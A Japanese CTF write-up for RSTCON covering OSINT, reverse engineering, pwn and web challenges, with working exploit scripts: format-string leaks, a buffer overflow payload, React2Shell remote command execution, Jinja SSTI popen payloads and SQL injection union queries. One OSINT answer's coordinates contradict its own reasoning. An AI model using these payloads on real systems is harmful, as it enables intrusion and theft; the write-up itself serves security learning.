LVL_LO = 1

3 ではCoilを右端に配置し、FILLを選択する。

R4/R5の問題はこうなっている。

Use an unlatch. STOP is on and BW_PMP is latched on. Unlatch BW_PMP so WASTE turns on.

STOP = 1 BW_PMP = 1

4 ではUnlatchを右端に配置し、BW_PMPを選択する。

R6/R7の問題はこうなっている。

Use a TON on T_BW. Energize BLOWER when T_BW is done. FLOW is on. Preset is 500 ms. Done turns off when FLOW drops.

FLOW = 1 T_BW preset = 500 ms

6 ではTimerタブのTONを右に配置し、T_BWを選択する。

この状態でRUNで実行する。

文字はそれぞれ以下の順で表示された。

YTAFES

順番を組み替えると、以下の英単語になる。

SAFETY

これを入力し、Checkボタンを押すと、フラグが表示された。

rstcon{LD_better_than_ST}

Eight Valves (Misc)

Brainf*ck言語。https://sange.fi/esoteric/brainfuck/impl/interp/i.htmlで実行する。

rstcon{eight_valves_run_the_tape}

Hey Listen (OSINT)

問題文はこうなっている。

Hey, Hey Listen. Hey. Did you see that post about RSTCON having a CTF??

RSTCONのXのPOSTを見ていたら、不自然な箇所に"{"と"}"がある。

縦に頭文字をつなげ、フラグの形式にすればよい。

rstcon{RADIUM}

Foamer (OSINT)


問題文はこうなっていて、緯度・経度を指定するか、地図上で該当する地点をポイントする。

Trains are cool, but look at that bridge too. Wonder where I am...

5 Km Radius Tolerance

ChatGPTに聞いてみた。

有力な撮影場所は、米国ペンシルベニア州のチェスター。窓の外の橋は、Commodore Barry Bridge(コモドア・バリー橋)と判断できる。
判断の根拠は以下の通り。

画像の橋には、次の特徴がある。

  • 左奥の高い部分が、頂部の平らな台形に見える。
  • そこから上辺が急に下がり、中央で緩やかになる。
  • 右側へ向かって再び高くなる。
  • 細かな鋼材が組み合わさったトラス構造になっている。

この形は、Commodore Barry Bridgeの比較写真とよく一致する。

車内はAmtrakのAmfleet系とよく一致する。灰色の丸みのある座席背面、窓中央の仕切り、窓下に3段並ぶ細長い通風口、まだら模様の内装材が、Amfleet系の車内とよく一致する。

チェスター駅はAmtrakのNortheast Corridor(北東回廊)上にあり、線路は駅舎の上を通っている。この周辺を走る列車から橋の方向を見る構図は、写真の「建物や駐車場を少し上から見下ろし、その奥に橋が見える」という状況に整合する。

5 kmの許容範囲なら、Chester Transit Center(チェスター駅)付近を指定するのが有力。

該当する緯度、経度を指定したら、正解となった。

38.485, -82.648

Gauge Height (OSINT)

問題文はこうなっていて、CSVファイルが添付されている。

We pulled a historian export off a hydro SCADA box. 
The operator stripped the site name and coordinates, but they left the upstream data feed's identifiers in the header. 
Find out exactly what this gauge is sitting below.

500m Radius Tolerance

添付のCSVファイルの内容は以下のようになっている。

# RST Hydro historian export
# upstream feed: agency=USGS site=09421500
# parameters: 00060=streamflow(cfs) 00065=gage_height(ft)
timestamp,00060,00065
2026-05-14T00:00,11800,9.84
2026-05-14T01:00,11750,9.81
2026-05-14T02:00,11900,9.88
2026-05-14T03:00,13200,10.42
2026-05-14T04:00,14600,11.01
2026-05-14T05:00,15050,11.18
2026-05-14T06:00,14100,10.79
2026-05-14T07:00,12600,10.15

「USGS 09421500」で検索すると、以下のタイトルが一覧にある。

Colorado RV Blw Hoover Dam, Az-nv - USGS-09421500

「Hoover Dam 緯度 経度」で検索すると、以下のページが見つかる。
https://www.latlong.net/place/hoover-dam-nevada-usa-33187.html

このページで確認すると、以下のようになっている。

Latitude : 36.016045
Longitude: -114.737839

少し丸めてSubmitしたら、正解となった。

36.016, -114.738

Where in the World (OSINT)


問題文はこうなっている。

A contact sent us this "vacation photo." 
The picture itself is nothing, but the photographer was not careful about what their camera wrote into it. 
Figure out exactly where this was taken.

500m Tolerance
$ exiftool vacation.jpg     
ExifTool Version Number         : 13.25
File Name                       : vacation.jpg
Directory                       : .
File Size                       : 23 kB
File Modification Date/Time     : 2026:10:25 08:04:02+09:00
File Access Date/Time           : 2026:10:25 08:57:53+09:00
File Inode Change Date/Time     : 2026:10:25 08:04:02+09:00
File Permissions                : -rwxrwxrwx
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Exif Byte Order                 : Big-endian (Motorola, MM)
Make                            : Canon
Camera Model Name               : Canon EOS R7
Software                        : field-capture 2.1
Modify Date                     : 2026:05:14 18:42:11
Date/Time Original              : 2026:05:14 18:42:11
User Comment                    : caught the sunset with one foot in each state
GPS Version ID                  : 2.3.0.0
GPS Latitude Ref                : North
GPS Longitude Ref               : West
GPS Altitude Ref                : Above Sea Level
Image Width                     : 640
Image Height                    : 480
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 640x480
Megapixels                      : 0.307
GPS Altitude                    : 335 m Above Sea Level
GPS Latitude                    : 41 deg 15' 56.00" N
GPS Longitude                   : 95 deg 55' 20.00" W
GPS Position                    : 41 deg 15' 56.00" N, 95 deg 55' 20.00" W

緯度、経度がわかるので、https://www.motohasi.net/GPS/PosConv.php?lang=jaで変換する。

41.26555555, -95.92222222

少し丸めてSubmitしたら、正解となった。

41.266, -95.922

Leaky Logger (Binary Exploitation)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  undefined8 uVar1;
  char *pcVar2;
  size_t sVar3;
  char local_268 [512];
  char local_68 [88];
  FILE *local_10;
  
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  local_10 = fopen("flag.txt","r");
  if (local_10 == (FILE *)0x0) {
    puts("flag.txt missing on the server, tell an organizer.");
    uVar1 = 1;
  }
  else {
    memset(local_68,0,0x50);
    pcVar2 = fgets(local_68,0x50,local_10);
    if (pcVar2 == (char *)0x0) {
      puts("flag.txt unreadable, tell an organizer.");
      uVar1 = 1;
    }
    else {
      fclose(local_10);
      sVar3 = strcspn(local_68,"\r\n");
      local_68[sVar3] = '\0';
      puts("RST Hydro event logger.");
      puts("Submit one log line and it will be recorded:");
      pcVar2 = fgets(local_268,0x200,stdin);
      if (pcVar2 == (char *)0x0) {
        uVar1 = 0;
      }
      else {
        sVar3 = strcspn(local_268,"\n");
        local_268[sVar3] = '\0';
        printf("logged: ");
        printf(local_268);
        putchar(10);
        uVar1 = 0;
      }
    }
  }
  return uVar1;
}

FSBの脆弱性がある。フラグがスタック上にあるので、ブルートフォースでフラグを抽出する。

#!/usr/bin/env pythn3
from pwn import *

i = 1
flag = ''
start = False
while True:
    p = remote('18.215.143.250', 9002)
    data = p.recvuntil(b':\n').decode().rstrip()
    print(data)

    payload = '%' + str(i) + '$p'
    print(payload)
    p.sendline(payload.encode())

    data = p.recvline().decode().rstrip()
    print(data)
    v = data.split(': ')[1]
    if v != '(nil)':
        s = p64(int(v, 16))
        if start == False and s.startswith(b'rstcon{'):
            start = True
        if start:
            flag += s.rstrip(b'\x00').decode()
        if len(flag) > 0 and flag[-1] == '}':
            break

    p.close()

    i += 1

print(flag)

実行結果は以下の通り。

        :
        :
[+] Opening connection to 18.215.143.250 on port 9002: Done
RST Hydro event logger.
Submit one log line and it will be recorded:
%70$p
logged: 0x667b6e6f63747372
[*] Closed connection to 18.215.143.250 port 9002
[+] Opening connection to 18.215.143.250 on port 9002: Done
RST Hydro event logger.
Submit one log line and it will be recorded:
%71$p
logged: 0x74735f74616d7230
[*] Closed connection to 18.215.143.250 port 9002
[+] Opening connection to 18.215.143.250 on port 9002: Done
RST Hydro event logger.
Submit one log line and it will be recorded:
%72$p
logged: 0x336c5f73676e3172
[*] Closed connection to 18.215.143.250 port 9002
[+] Opening connection to 18.215.143.250 on port 9002: Done
RST Hydro event logger.
Submit one log line and it will be recorded:
%73$p
logged: 0x735f6568745f6b61
[*] Closed connection to 18.215.143.250 port 9002
[+] Opening connection to 18.215.143.250 on port 9002: Done
RST Hydro event logger.
Submit one log line and it will be recorded:
%74$p
logged: 0x7d6b636174
rstcon{f0rmat_str1ngs_l3ak_the_stack}
[*] Closed connection to 18.215.143.250 port 9002
rstcon{f0rmat_str1ngs_l3ak_the_stack}

Overflow Outlet (Binary Exploitation)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  
  setvbuf((FILE *)stdout,(char *)0x0,2,0);
  iVar1 = setvbuf((FILE *)stderr,(char *)0x0,2,0);
  vuln(iVar1);
  return 0;
}

ulong vuln(void)

{
  uint uVar1;
  ulong uVar2;
  undefined1 auStack_48 [64];
  long local_8;
  
  local_8 = check_admin();
  puts("RST Hydro control outlet. Send the actuator sequence:");
  fflush((FILE *)stdout);
  read(0,auStack_48,0x100);
  if (local_8 == -0x3501454121524111) {
    uVar2 = win();
  }
  else {
    uVar1 = puts("Valve stays shut.");
    uVar2 = (ulong)uVar1;
  }
  return uVar2;
}

int win(void)

{
  int iVar1;
  char *pcVar2;
  char acStack_98 [128];
  FILE *local_18;
  FILE *local_10;
  int local_4;
  
  local_4 = 0;
  while ((local_4 < 0x32 && (local_10 = fopen64("/dev/valvekey","r"), local_10 != (FILE *)0x0))) {
    pcVar2 = fgets(acStack_98,0x80,local_10);
    if (pcVar2 != (char *)0x0) {
      printf("Valve open. %s",acStack_98);
      iVar1 = fclose(local_10);
      return iVar1;
    }
    fclose(local_10);
    usleep(2000);
    local_4 = local_4 + 1;
  }
  local_18 = fopen64("flag.txt","r");
  if (local_18 == (FILE *)0x0) {
    iVar1 = puts("Valve key not seated on the server, tell an organizer.");
  }
  else {
    pcVar2 = fgets(acStack_98,0x80,local_18);
    if (pcVar2 != (char *)0x0) {
      printf("Valve open. %s",acStack_98);
    }
    iVar1 = fclose(local_18);
  }
  return iVar1;
}

BOFでlocal_8を0xcafebabedeadbeefで上書きすればよい。

#!/usr/bin/env python3
from pwn import *

p = remote('18.215.143.250', 9001)

payload = b'A' * 64
payload += p64(0xcafebabedeadbeef)

data = p.recvline().decode().rstrip()
print(data)
print(payload)
p.sendline(payload)
data = p.recvline().decode().rstrip()
print(data)

実行結果は以下の通り。

[+] Opening connection to 18.215.143.250 on port 9001: Done
RST Hydro control outlet. Send the actuator sequence:
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde\xbe\xba\xfe\xca'
Valve open. rstcon{st4ck_sm4sh_opens_the_v4lve}
[*] Closed connection to 18.215.143.250 port 9001
rstcon{st4ck_sm4sh_opens_the_v4lve}

Function 0x41 (RE)

機能コード0x41で、任意のseedと、そのseedから計算したtransform(seed)を送ればフラグを取得できる。

#!/usr/bin/env python3
import socket
import struct

def recv_exact(sock, size):
    data = bytearray()

    while len(data) < size:
        chunk = sock.recv(size - len(data))
        if not chunk:
            raise ConnectionError("応答の受信中に接続が切れました")
        data.extend(chunk)

    return bytes(data)

HOST = "18.215.143.250"
PORT = 1502

seed = 0x0000
guess = (((seed ^ 0x1F3D) * 0x0101) + 0x2027) & 0xFFFF

pdu = struct.pack(">BHH", 0x41, seed, guess)

request = struct.pack(">HHHB", 1, 0, len(pdu) + 1, 1) + pdu

with socket.create_connection((HOST, PORT), timeout=5) as sock:
    sock.sendall(request)

    header = recv_exact(sock, 7)
    tid, proto, length, unit = struct.unpack(">HHHB", header)

    if length < 1:
        raise ValueError(f"不正な応答長です: {length}")

    response_pdu = recv_exact(sock, length - 1)

if response_pdu[:2] == b"\x41\x00":
    flag = response_pdu[2:]
    print(flag.decode("utf-8", errors="replace"))
else:
    print("想定外の応答:", response_pdu.hex(" "))
rstcon{user_defined_fc_reversed}

Ladder Logic (RE)

コードを読んでいくと、以下のようにしてstateを変えていくことができることがわかる。

順番  入力変数  レジスタ  必要な値        成功時の遷移
1     step1     %IW0      7               state = 0 → 1
2     step2     %IW1      1965            state = 1 → 2
3     step3     %IW2      42              state = 2 → 3
4     step4     %IW3      0xCAFE(=51966)  state = 3 → 7

state = 7になれば、ロック解除される。

解除後の出力処理は以下の通り。

id_out[i] := WORD_TO_INT(enc[i]) XOR WORD_TO_INT(KEY);

encの各バイトを0x5AとXORすればよい。

#!/usr/bin/env python3
enc = bytes.fromhex(
    "28 2F 34 3D 05 6D 05 32 "
    "35 36 3E 29 05 2E 32 3F "
    "05 31 3F 23"
)

key = 0x5A
flag = bytes(b ^ key for b in enc).decode("ascii")
flag = 'rstcon{%s}' % flag
print(flag)
rstcon{rung_7_holds_the_key}

Truck-kun (RE)

ChatGPTに聞いてみた。

添付ファイルはGodot 4.5製で、末尾にPCKアーカイブが埋め込まれている。ここからGodotのゲームデータであるスクリプトとシーンデータを取り出す。

このシーンには、BoxMesh_pixel を使った714個の箱がある。それぞれの配置座標を調べると、すべて Z = -300 の平面上にあり、X・Y方向に1.4ずつの間隔で並んでいることがわかる。

箱の座標を次のように画素座標へ変換すると、5×7ドットの文字が現れる。

column = round((x + 213.5) / 1.4)
row = round((-40 - y) / 1.4)

以上を元に、スクリプトで実行する。

#!/usr/bin/env python3
"""Recover the Truck-kun flag from its hidden 3D pixel lettering.

Usage:
    python solve_truck_kun.py truck-kun.x86_64
    python solve_truck_kun.py truck-kun.x86_64 --output-dir results

Uses only the Python standard library and never executes the supplied binary.
The executable ends with a Godot v3 PCK archive. Its Substrate scene contains
identity Transform3D values placing small boxes on a plane at z = -300.
The seven text rows run from y = -40 to -48.4, with a 1.4-unit pixel spacing.
Each glyph occupies five columns, followed by one blank spacing column.

This is a solver for this challenge's scene, not a general Godot decompiler:
it expects an unencrypted PCK v3 with relative file offsets, identity bases,
and the observed 5x7 glyphs. The answer is decoded from mesh coordinates;
the complete flag is not stored in the solver.
"""

import argparse
import hashlib
from pathlib import Path
import struct
import zlib


# Each integer is one five-bit row of the observed pixel font (top to bottom).
FONT = {
    "-": (0, 0, 0, 31, 0, 0, 0),
    "A": (14, 17, 17, 31, 17, 17, 17),
    "B": (30, 17, 17, 30, 17, 17, 30),
    "C": (15, 16, 16, 16, 16, 16, 15),
    "D": (30, 17, 17, 17, 17, 17, 30),
    "E": (31, 16, 16, 30, 16, 16, 31),
    "F": (31, 16, 16, 30, 16, 16, 16),
    "G": (15, 16, 16, 19, 17, 17, 15),
    "H": (17, 17, 17, 31, 17, 17, 17),
    "I": (31, 4, 4, 4, 4, 4, 31),
    "L": (16, 16, 16, 16, 16, 16, 31),
    "M": (17, 27, 21, 17, 17, 17, 17),
    "N": (17, 25, 21, 19, 17, 17, 17),
    "O": (14, 17, 17, 17, 17, 17, 14),
    "P": (30, 17, 17, 30, 16, 16, 16),
    "R": (30, 17, 17, 30, 20, 18, 17),
    "S": (15, 16, 16, 14, 1, 1, 30),
    "T": (31, 4, 4, 4, 4, 4, 4),
    "U": (17, 17, 17, 17, 17, 17, 14),
    "W": (17, 17, 17, 21, 21, 27, 17),
    "Y": (17, 17, 10, 4, 4, 4, 4),
    "{": (6, 4, 8, 24, 8, 4, 6),
    "}": (12, 4, 2, 3, 2, 4, 12),
}


def read_substrate(executable):
    """Read the scene directly from the appended PCK and verify its MD5."""
    data = executable.read_bytes()
    if len(data) < 12 or data[-4:] != b"GDPC":
        raise ValueError("The executable has no embedded Godot PCK footer")
    pack_size = struct.unpack_from("<Q", data, len(data) - 12)[0]
    start = len(data) - 12 - pack_size
    if start < 0 or data[start:start + 4] != b"GDPC":
        raise ValueError("Invalid PCK start")
    version, _, _, _, flags = struct.unpack_from("<5I", data, start + 4)
    if version != 3 or flags != 2:
        raise ValueError("Expected unencrypted PCK v3 with relative file offsets")
    file_base, directory = struct.unpack_from("<QQ", data, start + 24)
    pos = start + directory
    count = struct.unpack_from("<I", data, pos)[0]
    pos += 4
    for _ in range(count):
        length = struct.unpack_from("<I", data, pos)[0]
        pos += 4
        name = data[pos:pos + length].rstrip(b"\0").decode("utf-8")
        pos += length
        offset, size = struct.unpack_from("<QQ", data, pos)
        digest = data[pos + 16:pos + 32]
        entry_flags = struct.unpack_from("<I", data, pos + 32)[0]
        pos += 36
        if name.endswith("-Substrate.scn"):
            if entry_flags != 0:
                raise ValueError("The Substrate resource is encrypted or unsupported")
            at = start + file_base + offset
            scene = data[at:at + size]
            if len(scene) != size or hashlib.md5(scene).digest() != digest:
                raise ValueError("Substrate resource MD5 mismatch")
            return scene
    raise ValueError("Substrate scene not found in the embedded PCK")


def extract_pixels(scene):
    """Find resource type 17 (Transform3D), an identity basis, then its origin."""
    signature = struct.pack("<I9f", 17, 1, 0, 0, 0, 1, 0, 0, 0, 1)
    coordinates = []
    pos = 0
    while True:
        pos = scene.find(signature, pos)
        if pos < 0:
            break
        if pos + 52 <= len(scene):
            x, y, z = struct.unpack_from("<3f", scene, pos + 40)
            if abs(z + 300) < 0.001 and -48.401 <= y <= -39.999:
                coordinates.append((x, y))
        pos += 1
    if not coordinates:
        raise ValueError("No hidden text pixels found at the expected coordinates")
    left = min(x for x, _ in coordinates)
    top = max(y for _, y in coordinates)
    pixels = set()
    for x, y in coordinates:
        col, row = (x - left) / 1.4, (top - y) / 1.4
        if abs(col - round(col)) > 0.001 or abs(row - round(row)) > 0.001:
            raise ValueError("A mesh origin is not on the expected 1.4-unit grid")
        pixels.add((round(col), round(row)))
    if any(row not in range(7) or col % 6 == 5 for col, row in pixels):
        raise ValueError("Pixel grid does not match the expected 5x7 font")
    return pixels


def decode_pixels(pixels):
    lookup = {rows: char for char, rows in FONT.items()}
    count = max(col for col, _ in pixels) // 6 + 1
    text = []
    for index in range(count):
        rows = tuple(
            sum(1 << (4 - x) for x in range(5) if (index * 6 + x, y) in pixels)
            for y in range(7)
        )
        if rows not in lookup:
            raise ValueError(f"Unknown glyph at character {index + 1}: {rows}")
        text.append(lookup[rows])
    return "".join(text)


def write_pixel_png(pixels, text_length, destination):
    """Wrap the original pixel shapes at 17 characters and write a grayscale PNG."""
    chars_per_line, scale, margin, gap = 17, 10, 24, 24
    line_count = (text_length + chars_per_line - 1) // chars_per_line
    width = (min(chars_per_line, text_length) * 6 - 1) * scale + margin * 2
    height = line_count * 7 * scale + (line_count - 1) * gap + margin * 2
    image = [bytearray([255]) * width for _ in range(height)]
    for col, row in pixels:
        line = col // (chars_per_line * 6)
        x = margin + (col % (chars_per_line * 6)) * scale
        y = margin + line * (7 * scale + gap) + row * scale
        for yy in range(y, y + scale):
            image[yy][x:x + scale] = b"\0" * scale

    def chunk(kind, payload):
        return (struct.pack(">I", len(payload)) + kind + payload
                + struct.pack(">I", zlib.crc32(kind + payload) & 0xFFFFFFFF))

    scanlines = b"".join(b"\0" + row for row in image)
    png = b"\x89PNG\r\n\x1a\n"
    png += chunk(b"IHDR", struct.pack(">IIBBBBB", width, height, 8, 0, 0, 0, 0))
    png += chunk(b"IDAT", zlib.compress(scanlines, 9))
    png += chunk(b"IEND", b"")
    destination.write_bytes(png)


def main():
    parser = argparse.ArgumentParser(description=__doc__,
                                     formatter_class=argparse.RawDescriptionHelpFormatter)
    parser.add_argument("executable", type=Path, help="The supplied truck-kun.x86_64 file")
    parser.add_argument("--output-dir", type=Path, default=Path.cwd(),
                        help="Directory for truck_kun_flag.png (default: current directory)")
    args = parser.parse_args()
    try:
        pixels = extract_pixels(read_substrate(args.executable))
        flag = decode_pixels(pixels)
        args.output_dir.mkdir(parents=True, exist_ok=True)
        destination = args.output_dir / "truck_kun_flag.png"
        write_pixel_png(pixels, len(flag), destination)
    except (OSError, ValueError, struct.error) as exc:
        parser.exit(1, f"Error: {exc}\n")
    print(flag)
    print(f"Recovered {len(pixels)} pixels; image saved to {destination}")


if __name__ == "__main__":
    main()
$ python3 solve_truck_kun.py truck-kun.x86_64
RSTCON{REBORN-IN-ANOTHER-WORLD-BUT-IM-PLAYING-CTFS}
Recovered 714 pixels; image saved to /mnt/hgfs/Shared/truck_kun_flag.png

復元した画像にフラグが書いてあった。

RSTCON{REBORN-IN-ANOTHER-WORLD-BUT-IM-PLAYING-CTFS}

Carry The Tide (RE)

Ghidraでデコンパイルする。

undefined4 main(void)

{
  char *pcVar1;
  size_t sVar2;
  int iVar3;
  undefined4 uVar4;
  char acStack_8c [128];
  int local_c;
  
  local_c = __stack_chk_guard;
  printf("Carry the tide. Enter control key: ");
  pcVar1 = fgets(acStack_8c,0x80,stdin);
  if (pcVar1 == (char *)0x0) {
    uVar4 = 1;
  }
  else {
    sVar2 = strcspn(acStack_8c,"\r\n");
    acStack_8c[sVar2] = '\0';
    iVar3 = check(acStack_8c);
    if (iVar3 == 0) {
      puts("Out of phase.");
    }
    else {
      puts("Sluice aligned.");
    }
    uVar4 = 0;
  }
  if (__stack_chk_guard != local_c) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail(0,0);
  }
  return uVar4;
}

undefined4 check(char *param_1)

{
  size_t sVar1;
  undefined4 uVar2;
  char local_12;
  int local_10;
  
  sVar1 = strlen(param_1);
  if (sVar1 == 0x26) {
    local_12 = 'Z';
    for (local_10 = 0; local_10 < 0x26; local_10 = local_10 + 1) {
      if ((char)(local_12 + param_1[local_10]) != target[local_10]) {
        return 0;
      }
      local_12 = param_1[local_10];
    }
    uVar2 = 1;
  }
  else {
    uVar2 = 0;
  }
  return uVar2;
}

                             target                                          XREF[2]:     check:004007a2(*), 00400800(*)  
        0040095c cc e5 e7        undefine
                 d7 d2 dd 
                 e9 ed e7 
           0040095c cc              undefined1CCh                     [0]                               XREF[2]:     check:004007a2(*), 00400800(*)  
           0040095d e5              undefined1E5h                     [1]
           0040095e e7              undefined1E7h                     [2]
           0040095f d7              undefined1D7h                     [3]
           00400960 d2              undefined1D2h                     [4]
           00400961 dd              undefined1DDh                     [5]
           00400962 e9              undefined1E9h                     [6]
           00400963 ed              undefined1EDh                     [7]
           00400964 e7              undefined1E7h                     [8]
           00400965 e3              undefined1E3h                     [9]
           00400966 dc              undefined1DCh                     [10]
           00400967 d7              undefined1D7h                     [11]
           00400968 d7              undefined1D7h                     [12]
           00400969 d5              undefined1D5h                     [13]
           0040096a c6              undefined1C6h                     [14]
           0040096b d2              undefined1D2h                     [15]
           0040096c e8              undefined1E8h                     [16]
           0040096d e2              undefined1E2h                     [17]
           0040096e cc              undefined1CCh                     [18]
           0040096f d4              undefined1D4h                     [19]
           00400970 e3              undefined1E3h                     [20]
           00400971 e5              undefined1E5h                     [21]
           00400972 e0              undefined1E0h                     [22]
           00400973 d7              undefined1D7h                     [23]
           00400974 d2              undefined1D2h                     [24]
           00400975 d7              undefined1D7h                     [25]
           00400976 d2              undefined1D2h                     [26]
           00400977 c8              undefined1C8h                     [27]
           00400978 d7              undefined1D7h                     [28]
           00400979 cd              undefined1CDh                     [29]
           0040097a d1              undefined1D1h                     [30]
           0040097b d7              undefined1D7h                     [31]
           0040097c db              undefined1DBh                     [32]
           0040097d db              undefined1DBh                     [33]
           0040097e d7              undefined1D7h                     [34]
           0040097f e5              undefined1E5h                     [35]
           00400980 d8              undefined1D8h                     [36]
           00400981 e2              undefined1E2h                     [37]

以下のチェック処理をしている。

  • 文字列の長さは0x26であることをチェック
  • 初期値local_12 = 'Z'
  • 各文字にlocal_12をプラスしてtargetを一致しているかをチェック
  • local_12に各文字をセット

このことを踏まえて、正しい文字列を割り出す。

#!/usr/bin/env python3
target = [0xcc, 0xe5, 0xe7, 0xd7, 0xd2, 0xdd, 0xe9, 0xed, 0xe7, 0xe3, 0xdc,
    0xd7, 0xd7, 0xd5, 0xc6, 0xd2, 0xe8, 0xe2, 0xcc, 0xd4, 0xe3, 0xe5, 0xe0,
    0xd7, 0xd2, 0xd7, 0xd2, 0xc8, 0xd7, 0xcd, 0xd1, 0xd7, 0xdb, 0xdb, 0xd7,
    0xe5, 0xd8, 0xe2]

local_12 = ord('Z')

flag = ''
for i in range(0x26):
    v = target[i] - local_12
    flag += chr(v)
    local_12 = v

print(flag)
rstcon{running_sum_unwinds_in_reverse}

New Money (RE)

添付の画像の中にQRコードがあるので、コードリーダで読み取ると、以下のURLになった。
https://rstcon.org/bottle-cap/

HTMLソースを見ると、JavaScriptの一部にパラメータが設定されていて、整形するとこのようになった。

    var e = {
            A: 1664525,
            C: 1013904223,
            M: 4294967296,
            SEED: 3405691582,
            POOL: [0, 1, 1, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5],
            IV: "Ap89oAD+nv/sLj5m",
            CT: "M8KK2DP+IYuYMvu3PgAT581HZkdj5F62u2rmdu7z6ld32sZWuboj096hbO5n0q/mK1RH3A=="
        },
        t = e.SEED,
        n = 0;

出目を決める処理を読みやすくすると、次のようになる。

state = (1664525 * state + 1013904223) % 4294967296;
symbol = POOL[state % 21];

POOL の値 0 がボトルキャップに対応し、0 は先頭にしかない。つまり、ボトルキャップが出る条件は以下の通りとなる。

state % 21 == 0

1回のスピンでは、この状態更新を3回行う。同じスピンの3回すべてでこの条件を満たす場所を探す。

#!/usr/bin/env python3
state = 3405691582
spin = 0

while True:
    spin += 1
    states = []

    for _ in range(3):
        state = (1664525 * state + 1013904223) % 4294967296
        states.append(state)

    indexes = [s % 21 for s in states]

    if indexes == [0, 0, 0]:
        print("spin count:", spin)
        print("states:", states)
        print("serial number:", states[-1])
        break

実行結果は以下の通り。

spin count: 32472
states: [1946348628, 1592945571, 680287398]
serial number: 680287398

以下の番号をWINNING TICKET SERIALに入力し、REDEEMボタンを押したらフラグが表示された。

680287398
rstcon{th3_wh33ls_w3r3_n3v3r_r4nd0m}

Dow is Up 50k (Web)

Portfolioのページを見ると、右下に以下のように書いてある。

Next.js 15 · React 19 · Built Dec 2, 2025

「Dec 2, 2025 vuln react」で検索すると、React2Shellのことが出てくる。

https://github.com/jensnesten/React2Shell-PoC/のコードを使ってみる。

$ python3 main.py 18.215.143.250:3000 'pwd'  
[*] Connecting to 18.215.143.250:3000 (http)
[*] Sending payload with command: pwd
[*] Response received, parsing output...
[+] Command output:
/app
$ python3 main.py 18.215.143.250:3000 'ls -l'
[*] Connecting to 18.215.143.250:3000 (http)
[*] Sending payload with command: ls -l
[*] Response received, parsing output...
[+] Command output:
total 16
drwxr-xr-x   26 nextjs   nodejs        4096 Oct 22 03:55 node_modules
-rw-rw-r--    1 nextjs   nodejs         565 Oct 22 03:55 package.json
-rw-r--r--    1 nextjs   nodejs        5736 Oct 22 03:55 server.js
$ python3 main.py 18.215.143.250:3000 'ls -l ..'
[*] Connecting to 18.215.143.250:3000 (http)
[*] Sending payload with command: ls -l ..
[*] Response received, parsing output...
[+] Command output:
total 68
drwxr-xr-x    1 root     root          4096 Oct 22 03:55 app
drwxr-xr-x    1 root     root          4096 Oct 21 22:58 bin
drwxr-xr-x    5 root     root           340 Oct 23 13:32 dev
drwxr-xr-x    1 root     root          4096 Oct 23 13:32 etc
-r--r--r--    1 root     root            47 Oct  5 02:44 flag.txt
drwxr-xr-x    1 root     root          4096 Oct 22 03:54 home
drwxr-xr-x    1 root     root          4096 Oct 21 21:52 lib
drwxr-xr-x    5 root     root          4096 Oct 21 21:52 media
drwxr-xr-x    2 root     root          4096 Oct 21 21:52 mnt
drwxr-xr-x    1 root     root          4096 Oct 21 22:58 opt
dr-xr-xr-x  360 root     root             0 Oct 23 13:32 proc
drwx------    2 root     root          4096 Oct 21 21:52 root
drwxr-xr-x    3 root     root          4096 Oct 21 21:52 run
drwxr-xr-x    2 root     root          4096 Oct 21 21:52 sbin
drwxr-xr-x    2 root     root          4096 Oct 21 21:52 srv
dr-xr-xr-x   13 root     root             0 Oct 23 17:12 sys
drwxrwxrwt    1 root     root          4096 Oct 23 19:27 tmp
drwxr-xr-x    1 root     root          4096 Oct 21 22:58 usr
drwxr-xr-x    1 root     root          4096 Oct 21 21:52 var
$ python3 main.py 18.215.143.250:3000 'cat /flag.txt'
[*] Connecting to 18.215.143.250:3000 (http)
[*] Sending payload with command: cat /flag.txt
[*] Response received, parsing output...
[+] Command output:
rstcon{pr0t0typ3_p0llut10n_m3ets_r34ct_fl1ght}
rstcon{pr0t0typ3_p0llut10n_m3ets_r34ct_fl1ght}

Template Tide (Web)

入力欄に {{7*7}} と入力し、Generateボタンを押すと49と表示されたので、SSTIの脆弱性がある。

以下を入力し、Generateボタンを押す。

 {{request.application.__globals__.__builtins__.__import__('os').popen('ls -la').read()}}

この結果以下が表示された。

total 32
drwxr-xr-x 1 ctf  ctf  4096 Oct 23 13:32 .
drwxr-xr-x 1 root root 4096 Oct 23 13:32 ..
drwxr-xr-x 2 ctf  ctf  4096 Oct 23 13:32 __pycache__
-rw-rw-r-- 1 ctf  ctf  1161 Oct 17 21:00 app.py
-rw-rw-r-- 1 ctf  ctf    36 Oct 17 21:00 flag.txt
-rw-rw-r-- 1 ctf  ctf    30 Oct 17 23:27 requirements.txt
drwxr-xr-x 1 ctf  ctf  4096 Oct 17 21:00 static
drwxr-xr-x 1 ctf  ctf  4096 Oct 17 21:00 templates

以下を入力し、Generateボタンを押す。

 {{request.application.__globals__.__builtins__.__import__('os').popen('cat flag.txt').read()}}

この結果フラグが表示された。

rstcon{ssti_rolls_in_with_the_t1de}

Bad Medicine (Web)

添付の写真を見ると、PC画面の右上に"skim"という文字が見える。
また赤い付箋にはこう書いてあるように見える。

skim
PharmD#2026!

これでログインすることができた。ここで薬を検索できる画面になっているが、SQLインジェクションができそう。

以下を入力して、検索する。

Z' union select 1,2,3,4,5 --

この結果以下のように表示された。

ID	Medication	NDC	Category	Qty
1	2	3	4	5

以下を入力して、検索する。

Z' union select 1,sqlite_version(),3,4,5 --

この結果以下のように表示された。

ID	Medication	NDC	Category	Qty
1	3.46.1	3	4	5

以下を入力して、検索する。

Z' union select 1,sql,3,4,5 from sqlite_master where type = 'table' --

この結果以下のように表示された。

ID	Medication	NDC	Category	Qty
